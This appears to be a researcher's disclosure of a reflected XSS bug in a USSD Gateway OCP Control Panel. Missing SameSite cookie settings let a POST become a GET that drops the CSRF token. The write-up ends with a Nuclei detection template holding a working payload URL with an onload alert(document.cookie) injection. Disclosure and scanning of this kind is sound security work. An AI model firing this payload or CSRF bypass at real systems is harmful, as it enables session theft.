This vulnerability is a chain of 2 vulnerabilities to convert self XSS to reflected XSS. The server assign cookies to the user after being logged in without specifying the SameSite value to Lax allowing the attacker to convert the request from GET to POST to bypass the CSRF verification parameter in the POST body.
The original request shows the vulnerable parameter in the POST body and contains CSRF verification parameter as well.
An attempt was made to remove the CSRF verification parameter's value or delete the whole parameter because it's now self XSS and can't be shared with different users, but the server rejected the request as shown below
It was noticed that the server is assigning the cookies to the user without adding Lax value for the SameSite parameter. This allows us to convert the request from POST to GET and remove the CSRF verification parameter to make a vulnerable URL can be shared with different users.
By Changing the request from POST to GET and remove the verification parameter's value for the CSRF or even the whole parameter and send it again, the server accepted the request and the vulnerable parameter's value is being reflected in the response.
HTTP/2 400 Bad Request
Content-Length: 18611
Content-Type: text/html; charset=utf-8
[...]
[...]
<div class="alert alert-danger" role="alert">
<h4>Error 400</h4>
<hr>
<h4 class="alert-heading">
Unable to verify your data submission.
</h4>
<p class="mb-0 error-description">
Unfortunately we're having trouble loading the page you are looking for. Please use the actions below.
</p>
</div>
[...]
id: ocpanel-ussdgw-xss
info:
name: USSD Gateway OCP Control Panel Reflected XSS
author: Eslam Ali Akl @eslam3kl
severity: Medium
description: |
Reflected XSS test for the OCP Control Panel USSD Gateway session listing.
Injects a simple XSS payload into the flt_sessid parameter and flags
the target if the payload is reflected unescaped in the HTML response.
tags: [xss, reflected, ocpanel, ussdgw]
requests:
- id: reflected_xss
method: GET
path:
- "{{BaseURL}}/occontrolpanel/index.php?w=ocussdgw&m=sessions&a=list_sessions_a&_csrf=&display=1&flt_sessid=6%22%3E%3Csvg/onload=alert(document.cookie)%3E&flt_user=&flt_server_node="
headers:
User-Agent: "nuclei-scan"
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
Cookie: "{{cookie}}"
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "<svg/onload=alert\\("
- type: word
words:
- "alert(document.cookie)"